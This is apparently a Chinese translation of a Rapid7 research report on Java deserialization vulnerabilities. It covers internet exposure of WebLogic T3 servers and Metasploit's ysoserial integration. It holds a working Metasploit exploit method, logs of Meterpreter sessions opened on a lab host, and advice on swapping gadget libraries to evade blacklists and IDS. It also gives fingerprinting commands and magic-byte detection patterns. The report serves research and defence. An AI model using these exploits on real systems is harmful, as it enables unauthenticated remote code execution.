Java序列化对象(JSO)：实战漏洞利用指南

一、概述

Java序列化对象（JSO）是一种允许Java服务之间进行数据交换的机制。但对于攻击者来说，JSO可以为他们提供一个可靠、稳定的载体，来使他们获得对运行Java应用程序的系统的远程控制。如今，有越来越多针对互联网上可访问服务的漏洞和已知攻击事件接连爆出。在本报告中，我们将探讨JSO如何受到不安全的反序列化漏洞的影响、互联网上JSO处理的应用程序的流行程度，以及测试人员如何使用Metasploit框架来验证涉及JSO的漏洞。

1. 与2017年相比，与JSO相关的CVE漏洞在2018年大幅增加。在两年中，总共确认了近100个漏洞，而2013年至2016年期间仅确认了7个漏洞。

2. 基于JSO的应用程序通常可以通过互联网访问。在2019年1月，Rapid7的Sonar项目执行了一次扫描，使用基于JSO的T3协议识别出11831个可通过互联网访问的Oracle WebLogic服务器。

3. 为了实现基于JSO的服务的研究、测试和安全开发，Metasploit框架目前利用流行开源项目“ysoserial”来增加对构建Java反序列化漏洞EXP的本地支持。

二、JSO的使用与滥用

尽管攻防双方的漏洞利用开发者社区已经对序列化对象进行了一段时间的漏洞利用，但仍然有许多IT人员和IT安全从业者不熟悉如何使用序列化对象，也不熟悉它们会如何被攻击者滥用。在这一章中，我们将花费一点时间，来探讨序列化的优缺点，以及它在现代网络应用程序中的使用方式和滥用方式。

2.1 什么是JSO？

JSO允许Java服务在没有严格定义的结构的情况下相互通信，它提供了一种在Java服务之间交换数据的灵活方式，通常借助于文件或者网络连接。发送方在数据中包含结构和数据类型（因此要序列化对象），而接收方通过反序列化的过程将流转换回对象。JSO将类型信息与数据一同保留，并且可以用于传输复杂的Java对象，而不必过多担心其中的内容。

例如，Java应用程序的一个组件可能会构建一个“Customer”对象，其中包含字符串“firstname”和“lastname”，以及整数“money_to_spend”等元素，并且可能包括StreetAddress类型的对象，其中包含一些整数和字符串。如果组件只是将这些“Customer”对象放在一起，那么接口就不需要知道或关注“Customer”对象中的实际内容。相反，他们只需要对这些对象进行序列化或反序列化，而不需要考虑其内容，他们默认情况下相信发送方和接收方会正确处理它们。

2.2 滥用JSO

不幸的是，虽然反序列化过程可能会将入站对象Blob转换为一些类型已定义的字符串和整数，但如果代码设计者没有在进行操作之前对序列化对象进行检查，攻击者可以非常容易地构造一个恶意函数，来启动由攻击者控制的进程。事实证明，许多接收方都没有主动限制在反序列化和执行之前能够接受哪些对象。这意味着，攻击者可以构建自定义JSO，并将其发送到等待中的反序列化接口，从而可以在接收方上活动的未经身份验证的远程代码执行（RCE）漏洞利用。让这一问题更加严重的情况在于，序列化对象的处理过程经常被内置于产品之中，而要修改这些产品内部组件的通信方式则并非易事。这样一来，修复序列化漏洞的过程就变得既困难又代价昂贵，因为开发者必须解决首次设计产品界面时未考虑对象类型和内容而产生的一系列技术问题。

为了缓解这种威胁向量，厂商通常会选择采用针对特定目标的黑名单，通过阻止使用特定的库来防范远程代码执行，而并不是进行更加全面的修复，重新设计可能引入恶意输入的接口。换而言之，当开发人员将一些库列入黑名单时，易受攻击的JSO通信将保持不变，但是进行漏洞利用来获取远程代码执行的库将被阻止。

一旦攻击者发现具有类似功能的另一个库，那么他们就可以迅速地以新的库作为目标。

为了加速重新利用漏洞的过程，攻击者可以使用类似于Chris Frohoff开发的ysoserial这样的工具，使用任意数量的库来构建一个JSO，并将Payload包装在几十个JSO的其中一个之中。这些工具，大大简化了风险演示和JSO相关漏洞的测试过程。这些攻击的使用，也意味着针对小范围的、基于库的黑名单的缓解技术无法有效防范攻击。

2.3 扩大JSO相关漏洞的适用范围

Java反序列化攻击并不是一个新鲜的话题，但攻击者如今可以越来越容易地 开发攻击方式 。正如Oracle Java平台团队的首席架构师Mark Reinhold所说，“我们喜欢将序列化看做是一个给我们的礼物，但这个礼物的呈现方式却是以安全漏洞的形式。”

在MITRE通用缺陷分类中，将这一系列漏洞编号为 CWE-502 ，使用Java或任何其他面向对象的语言，对不受信任的数据进行反序列化。

在过去的五年中，我们看到基于反序列化的 CVE漏洞数量急剧增加 ，其中包括那些CVSS分数高于7.0的CVE漏洞：

其中的许多CVE漏洞，都可以在企业产品中找到，例如：Oracle WebLogic、IBM WebSphere、Cisco安全访问控制系统（ACS）、HPE智能管理中心（IMC）、VMware vSphere Integrated Containers。鉴于特定产品中存在着单独的与JSO相关的CVE漏洞，因此研发人员和维护人员预计未来还会持续发现这些漏洞。

攻击者可以使用Metasploit框架中的各种公开漏洞利用方法，在这些产品中获得未经身份验证的远程代码执行漏洞，这些Metasploit模块包括：

· 2019年2月4日 shiro_rememberme_v124_deserialize 正在审查中

· 2018年12月16日 weblogic_deserialize_unicastref 正在审查中

· 2018年12月16日 weblogic_deserialize_marshalledobject 正在审查中

· 2018年12月15日 weblogic_deserialize_rawobject 正在审查中

· 2018年12月3日 hp_imc_java_deserialize 已发布

· 2018年8月8日 weblogic_deserialize 已发布

· 2017年3月14日 ibm_websphere_java_deserialize 已发布

·2016年10月14日 opennms_java_serialize 已发布

2.3.1 暴露在互联网上

鉴于最近报告的一些漏洞涉及到Oracle T3协议，我们使用Rapid7的Sonar项目框架来识别2019年1月暴露在互联网上的WebLogic服务器。

WebLogic本身使用T3之外的各种协议进行通信，但它与在特定端口上仅使用一种协议的许多其他产品和服务不同。例如，现代WebLogic实例的默认配置中，提供了一个默认端口7001/TCP，它可以支持几种不同的协议，包括T3、HTTP、SNMP和LDAP。

为了更多了解WebLogic是如何在公共互联网上暴露的，我们首先检查Sonar项目在HTTP和HTTPS方面收集到的一部分数据，在这些数据的收集过程中，大概每周运行数十个端口。我们对超过1.2亿个HTTP响应主体进行了检查，以获取其中大多数WebLogic实例产生的文本字符串，作为HTTP支持的一部分。我们针对67个不同的TCP端口，稽查到了18693个唯一的IPv4地址，这些端口被显示为WebLogic。毫无疑问，发现WebLogic的最常见端口是7001（默认）和80（HTTP）：

在了解互联网上哪些TCP端口可能由WebLogic提供支持（即：443、80、7001、8001和8002端口）之后，我们发现了一种方法来确定特定端口是否使用T3协议，并使用这种方法进行更加准确地稽查，以了解T3协议在上述5个端口上的暴露情况。

我们发送一个23字节的T3协商消息：

t3 9.2.0.0/nAS:2048/nHL:19/n/n

字符串“t3”负责启动T3协议。“9.2.0.0”是我们客户端公告的WebLogic版本信息，服务器使用该版本信息来确定是否兼容。“AS”和“HL”参数分别控制JVM消息标头大小和近似表大小，我们看到二者的值几乎都是默认值。

实验证明，T3终端会使用近似的消息进行响应，该消息描述了T3协商的结果，分为两类：

1. 确认T3已成功协商的T3终端。由此，我们可以识别出服务器公告的WebLogic版本。

2. 确认T3未成功协商的T3终端，可能是由于连接过滤器或类似限制，或者某种类型的错误配置（例如：授权问题或WebLogic版本不兼容），以及其他可能的情况。

我们检查了此前已经识别出开发WebLogic端口的超过8700万个唯一IPv4地址，确定了11831个已经确认运行WebLogic的系统。这比我们之前基于HTTP的预估值要低35%。之所以存在差异，有几种可能的原因，可能是因为常规的互联网大规模扫描波动，也可能是这些WebLogic实例已经被明确配置为只能使用HTTP而非T3。我们还拥有进一步的证据，有1183个系统对我们的T3探针作出了拒绝的反应，这可能表明我们与T3的连接由于某种原因受到了限制。

在WebLogic使用的几个默认端口之一，7001/TCP端口上，我们观察到4577个使用T3的IPv4地址。在去掉由于大规模扫描所存在的自然波动之外，我们估计有3439个7001/TCP端口上存在WebLogic实例，它们使用的是T3而非HTTP。

端口8001/TCP是WebLogic安装过程中在默认的7001/TCP端口不可用，或需要第二个实例时使用的常见备用端口。我们在该端口号发现存在1157个使用T3的主机。8002/TCP端口是WebLogic的一个比较不常用的替代端口，我们共发现了超过300个WebLogic系统。

在默认的HTTP和HTTPS端口（80和443）上，我们分别发现了5672个和1133个IPv4终端，已经确认它们使用T3协议。

根据我们成功协商的T3终端所公告的WebLogic版本，我们发现网络上的用户使用了各种版本进行部署，从2019年初WebLogic的最新版本12.2.1.3到2002年发布的7.0.1.0：

作为所有Sonar项目终端研究的一部分，我们还发现一些有关版权的元数据，包括可能拥有版权的组织和位置详细信息，其中可能包含国家和城市。从已经确认的T3结果中，我们对这些元数据进行检查，发现了几个要点：

1. 在暴露T3协议的IP中，有超过25%都是由Oracle提供，而该公司正是WebLogic的厂商，其余大部分都属于各种云服务商。

2. 在暴露T3协议的版权信息中，有超过36%由位于美国的组织拥有，另外有32%的组织位于中国。

其中，组织按数量顺序排列如下：

Oracle/Oracle Cloud（2982）、中国电信（1677）、中国联通（867）、阿里巴巴/阿里云（340）、Amazon/AWS（264）、YHSRV（252）、中国移动（204）、SumTotal Systems（143）、Korea Telecom（136）、世纪互联（123）、腾讯（89）、Microsoft/Azure（81）、LG（79）、OVH/SAS（69）、Tata（55）、Respina Networks（54）、中华电信（42）、中国教育科研网络中心（41）、Airtel（38）、Stanford University（36）。

国家和地区按数量顺序排列如下：

美国（4279）、中国大陆（3875）、伊朗（511）、韩国（307）、德国（241）、印度（236）、英国（138）、加拿大（120）、法国（118）、巴西（115）、墨西哥（96）、越南（83）、台湾（80）、日本（77）、巴基斯坦（74）、新加坡（74）、沙特阿拉伯（72）、泰国（71）、哥斯达黎加（69）、香港（67）。

2.3.2 攻击基于JSO的服务

针对我们远程发现的WebLogic服务器，要实现漏洞利用，可以直接使用多种Metasploit模块（ #11136 、 #11134 、 #11131 、 #10436 ）。当然，也可以手动进行漏洞利用，需要在拦截流量的同时导航至Web服务，然后使用Burp Suite或ysoserial等工具，定位易受攻击的服务。

例如，识别到WebLogic服务器的攻击者可以使用Metasploit来轻松获得未经身份验证的远程代码执行漏洞利用：

此外，还有一种更微妙的攻击方式，需要涉及到导航网站或使用Java应用程序，同时监控网络流量以获得JSO交互相关的信息。攻击者可以针对包含T3标头（或0xACED魔术字节）的流量进行简单的搜索，从而判断是否存在使用JSO进行通信的服务。

最后，一些活跃的攻击者可能会使用公开的工具来主动扫描基于JSO的用户输入的服务。例如，PortSwigger的专业版Burp Suite支持 Java Deserialization Scanner扩展 ，可以主动识别和利用JSO漏洞。值得关注的是，该扩展对Wouter Coekaerts的 SerialDOS技术 进行了修改，以此来执行针对基于JSO的服务的漏洞检查，该检查过程与库无关，即使使用的库已经被列入黑名单，也可以识别出存在的漏洞。

当然，任何随机的二进制数据集也有可能在某个位置具有0xACED魔术字节，这对于应用程序测试人员来说可能会有所帮助（但有误报的情况），但对于网络防御者来说可能不是太有效。一个充分的网络过滤器，需要比2个字节更多的详情来进行进一步的判断。

三、Metasploit如何支持JSO漏洞利用

3.1 利用JSO漏洞

在测试、开发和验证序列化攻击中所使用的漏洞时，研究人员和攻防安全人员将面临一系列复杂的工具生态系统。要将Metasploit用于反序列化漏洞利用，通常需要我们在将二进制Blob插入到模块之前，对JSO进行逆向工程，并人工优化Payload。

为了简化编写和验证漏洞利用程序的过程，我们在Metasploit框架中添加了对基于ysoserial对象的本地使用的支持。Metasploit现在可以轻松生成并修改ysoserial JSO，并将其用于漏洞利用、开发、研究或测试。下面的代码可以将重复的38行函数缩减到1行：

data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)

3.1.1 潜藏在背后的故事：在Metasploit中使用ysoserial

为了向Metasploit使用者提供像ysoserial这样的JSO Payload生成，我们需要一种方法来提供Payload，而无需特定版本的Java和必备库。调用这些库不仅耗费时间，而且还降低了JSO的生成速度，并且会对支持Metasploit的环境有所限制。此外，ysoserial会计算结构内对象的长度，因此在Metasploit中实现JSO Payload生成，也需要定位并更新长度。

在今年1月，Metasploit提供了预先生成的ysoserial Payload和元数据缓存，允许模块快速、可靠地生成JSO。在其背后，我们使用Docker创建一个隔离的环境，该环境中可以安装和运行Java和依赖项，这类似于创建Metasploit Payload的方式。Docker容器使用最新版本的ysoserial列出可以构建的库和变体，然后将遍历每个尝试构建对象的库：

metasploit-framework/tools/payloads/ysoserial/Dockerfile （已进行优化以确保代码简洁）

FROM ubuntu
 
RUN apt update && apt -y upgrade
# Dependencies: wget (to download ysoserial)
#               openjdk-8-jre-headless (to execute ysoserial)
#               make, gcc (to install the 'json' ruby gem)
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
 
# Download the latest ysoserial-modified
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
 
# Install gems: diff-lcs (to diff the ysoserial output)
#               json (to print the scripts results in JSON)
#               pry (to debug issues)
RUN gem install --silent diff-lcs json pry
 
COPY find_ysoserial_offsets.rb /
 
CMD ruby /find_ysoserial_offsets.rb

请注意，当Metasploit模块需要生成JSO时，不需要运行Docker环境。相反，容器的输出将被缓存，并随着Metasploit框架一起提供。只有当ysoserial维护人员识别到要集成到ysoserial工具中的新库时，才需要运行Docker容器，可能每年会有几次这样的情况。这一过程被记录在Metasploit的 GitHub Wiki 上。

3.1.2 找到偏移值

我们的下一个挑战，是找到ysoserial输出中包含的长度值和Payload缓冲区。我们可以手动对每个输出进行逆向工程，但这个过程非常乏味，并且不支持对ysoserial的更新。相反，Docker容器使用不同长度的Payload生成一系列对象，然后比较它们以定位其他字节（Payload缓冲区）和递增字节（长度值）：

metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb （已进行优化以确保代码简洁）

payloadList = getPayloadList
payloadList.each do |payload|
  STDERR.puts "Generating payloads for #{payload}..."
 
  emptyPayload = generatePayload(payload,0)
  payloadArray = generatePayloadArray(payload)
 
  (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
    diffs = diff(payloadArray[i],payloadArray[i+1])
    (0..diffs.length-1).each do |j|
      lengthOffsets.push(currByte.position) if isLengthOffset?(currByte,nextByte)
      bufferOffsets.push(currByte.position) if isBufferOffset?(currByte,nextByte)
    end
  end

3.1.3 删除指纹标识符

事实证明，ysoserial插入字符串ysoserial/Pwner后，会在其后面加一个时间戳值。由于这一字符串非常容易识别，因此可能会被测试人员特别关注：

000026a0: 0a00 2b00 3401 000d 5374 6163 6b4d 6170  ..+.4...StackMap
000026b0: 5461 626c 6501 001d 7973 6f73 6572 6961  Table...ysoseria
000026c0: 6c2f 5077 6e65 7234 3035 3436 3231 3232  l/Pwner405462122
000026d0: 3730 3232 3901 001f 4c79 736f 7365 7269  70229...Lysoseri
000026e0: 616c 2f50 776e 6572 3430 3534 3632 3132  al/Pwner40546212
000026f0: 3237 3032 3239 3b00 2100 0200 0300 0100  270229;.!.......
00002700: 0400 0100 1a00 0500 0600 0100 0700 0000  ................

该指纹有助于识别ysoserial的使用，并且能够确定ysoserial JSO是否在此前的攻击中被重复使用过。同时，它还存在一个令人遗憾的副作用，阻碍了我们查找长度偏移量和Payload缓冲区的差异化技术。针对这一情况，有两种解决方案：使用易于定位的字符串覆盖指纹，然后在Metasploit模块调用时，在每次调用期间生成随机字符串。

metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb ：

payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
return payload

metasploit-framework/lib/msf/util/java_deserialization.rb ：

bytes.gsub!(/ysoserial//Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))

作为输出，将会写入由Metasploit提取的JSON文件。例如，下面是JSON缓存文件中的CommonsCollections1对象的片段（已进行节选以确保代码简洁）：

$ jq '.["CommonsCollections1"]' -r data/ysoserial_payloads.json
{
  "status": "dynamic",
  "lengthOffset": [
    1167
  ],
  "bufferOffset": [
    1168
  ],
  "bytes": "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSG[...]
}

我们可以针对任何动态Payload或对象生成框架，重新实现该技术。特别是，借助JSON、Base64编码，以及明确定义的偏移量，可以使得其他语言或工具能够轻松使用这一缓存文件。

3.1.4 生成JSO漏洞利用

从Metasploit使用者的角度来看，上述所有工作都可以缩小为一条线。我们考虑 hp_imc_java_deserialize漏洞利用模块 。

data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)

这一行调用默认情况下内置于漏洞利用和辅助模块的mixin中。Mixin被记录在 Metasploit Framework的Wiki 上。ysoserial_payload方法有两个参数：ysoserial Payload名称和要运行的命令。

我们查看 完整的漏洞利用方法 ，该模块生成PowerShell Payload，将其嵌入到缓存的ysoserial JSO中，然后将其全部捆绑在HTTP POST请求中。

def exploit
  cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
  data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
 
  print_status "Sending serialized Java object (#{data.length} bytes)..."
  res = send_request_cgi({
    'method'   => 'POST',
    'uri'      => normalize_uri(target_uri.path, 'topo', 'WebDMDebugServlet'),
    'data'     => data
  })
End

现在，让我们看一下实际的漏洞利用。

3.1.5 修改JSO漏洞利用

从用户的角度来看，漏洞利用仍然是响应式的，JSO生成的过程会在后台进行。下面是Metasploit会话的输出，使用hp_imc_java_deserialize在HPE IMC中利用未经身份验证的远程代码执行漏洞：

msf5 > use exploit/windows/http/hp_imc_java_deserialize
msf5 exploit(windows/http/hp_imc_java_deserialize) > set RHOST 192.168.1.152
RHOST => 192.168.1.152
msf5 exploit(windows/http/hp_imc_java_deserialize) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/http/hp_imc_java_deserialize) > run
 
[*] Sending serialized Java object (11235 bytes)...
[*] Started bind TCP handler against 192.168.1.152:4444
[*] Sending stage (179779 bytes) to 192.168.1.152
[*] Meterpreter session 1 opened (192.168.1.7:44877 -> 192.168.1.152:4444) at 2019-01-15 18:07:07 -0600
 
meterpreter >

假设Metasploit用户发现该模块中使用的JSON1对象被入侵检测系统（IDS）或者基于黑名单的服务补丁捕获，则可以修改该模块，以使用新的库。在这里，新的库是CommonsBeanutils1。

例如，将Metasploit模块 hp_imc_java_deserialize.rb 中的第101行更改为使用“CommonBeanutils1”，而不是“JSON1”，将会产生以下会话输出：

msf5 exploit(windows/http/hp_imc_java_deserialize) > rerun
[*] Reloading module...
 
[*] Sending serialized Java object (8734 bytes)...
[*] Started bind TCP handler against 192.168.1.152:4444
[*] Sending stage (179779 bytes) to 192.168.1.152
[*] Meterpreter session 2 opened (192.168.1.7:34785 -> 192.168.1.152:4444) at 2019-01-15 18:09:32 -0600
 
meterpreter >

3.2 识别JSO漏洞

作为防御者，可以检查其网络中的JSO依赖服务，特别要关注不受信任的主机和用户可访问的服务。例如，检查或监控已知严重依赖于JSO服务的HTTP标头。此外，可以使用Nmap等网络扫描工具，在其中集成了脚本来识别基于JSO的T3协议。最后，可以监控并使用Metasploit Framework对已知的易受攻击的服务进行实际测试。

3.2.1 对JSO进行被动监测

对这些独立的漏洞进行持续监测和响应，这一过程可能会非常枯燥。为了能够领先于这些独立漏洞的利用，主动防御者可以搜集存在问题的协议，以及指示这些攻击的指纹和工件。由于JSO具有明确定义的结构，因此可以在网络流量中查看是否存在带有关键特征的字符串。最容易被注意到的，就是JSO开始位置的“魔术字节”序列。例如，监控HTTP参数和二进制协议中的模式会很有帮助。

1. ac ed是标识JSO的“魔术字节”序列的十六进制表示。

2. ac ed 00 05表示Java序列化格式的常用版本5。

3. %C2%AC%C3%AD%00%05与上面相同，是URI编码后的字符串格式。

4. rO0AB是相同序列的开头，是Base64编码后的字符串。

需要明确的是，这些模式既不是JSO的妥协，也不是JSO所独有的。但是，如果存在上述模式，确实需要我们进一步调查，因为有权访问该文件或网络流的攻击者可能会注入恶意JSO。

如果这些模式被确定是被基于JSO的服务所使用，那么防御者可以更加密切的对其进行监控，或者对它们进行沙箱化以减少潜在的危害，也可以与厂商进行讨论，从而了解它们是否已经超出了已知可利用库的黑名单范围。

3.2.2 对基于JSO的服务进行主动扫描

许多基于Web的服务在HTTP标头或响应主体中都包含版本字符串，允许管理员和攻击者识别响应Web请求的软件名称和版本。针对于Oracle WebLogic，HTML响应中包含以下字符串：

$ curl -s http://192.168.1.152:7001/console/login/LoginForm.jsp | grep footerVersion
 
WebLogic Server Version: 10.3.6.0

例如Nmap这样的扫描工具，可以发现上述字符串，然后使用T3协议与主机进行协商，以提取有关服务器版本和状态的更多信息。

$ nmap -sV -p 7001 --script weblogic-t3-info 192.168.1.140
 
Starting Nmap 7.60SVN (https://nmap.org) at 2019-01-17 18:38 PST
Nmap scan report for 192.168.1.140
Host is up (0.10s latency).
 
PORT     STATE SERVICE VERSION
7001/tcp open  http    Oracle Weblogic admin httpd
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 12.2.1.3)
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

最后，Oracle WebLogic和其他依赖JSO的服务都存在一些公开的漏洞。Metasploit框架中也包含许多此类漏洞利用方法，并且在不断更新中。

四、后续工作

正如我们在上面hp_imc_java_deserialize 的示例中所看到的的那样，Ysoserial主要生成执行命令字符串的JSO。但是，其他JSO需要复杂的输入，允许它们写入文件，通过网络设置回调连接，或者启用分析器来监听传入的连接。目前，在Docker容器的Payload生成期间，这些Payload类型的输出暂时不受支持。在未来，社区工作的一个方向就是将这些JSO纳入到现有设计之中，从而增加对绕过黑名单的其他机制的支持。

Ysoserial工具的Fork也产生了一些额外的功能。值得注意的是， Carsten Maartmann-Moe 提交了针对漏洞利用模块的 修改后版本的ysoserial ，其中包含对bash、cmd和基于PowerShell的Payload的支持。Metasploit的作者 L-Codes 提交了一个 Pull请求 ，扩展了Metasploit的本地ysoserial集成，其中使用了Fork后的修改后ysoserial工具，为Windows命令（cmd）Shell、Windows PowerShell和Linux Bash Payload提供了本地支持。

五、总结

针对在基于Java的服务中，如果要进行未经验证的远程代码执行漏洞利用，JSO是一种越来越可靠的向量。因此，在过去三年中，无论是NIST CVE通告数量，还是公开的漏洞利用数量，都有所增加。由于Java对文件和网络流具有良好的信任，因此JSO的相关功能被暴露在网络上，因此各种基于Java的企业产品往往会特别容易受到反序列化攻击。Rapid7的研究表明，这些产品可以在互联网上大量访问，并且经常会接受用户提供的数据，而没有进行适当的清理。在Metasploit框架中，目前已经包含对基于ysoserial的JSO本地使用的支持，从而使其简化，以便实现研究、测试与安全开发。

除了对依赖于Java的主机和服务要进行修复和监控之外，防御者还可以考虑为JSO事务中存在的签名添加一个监控，既可以使用基于JSO的通信主动识别服务，也可以识别针对反序列化漏洞的攻击。

最后，我们要感谢核心ysoserial项目的开发人员Chris Frohoff和ysoserial项目的众多贡献者。此外，我们要感谢Metasploit贡献者，特别是那些提交了本文中所涉及模块的研究人员。特别地，要感谢Carsten Maartmann-Moe和AndrésRodríguez。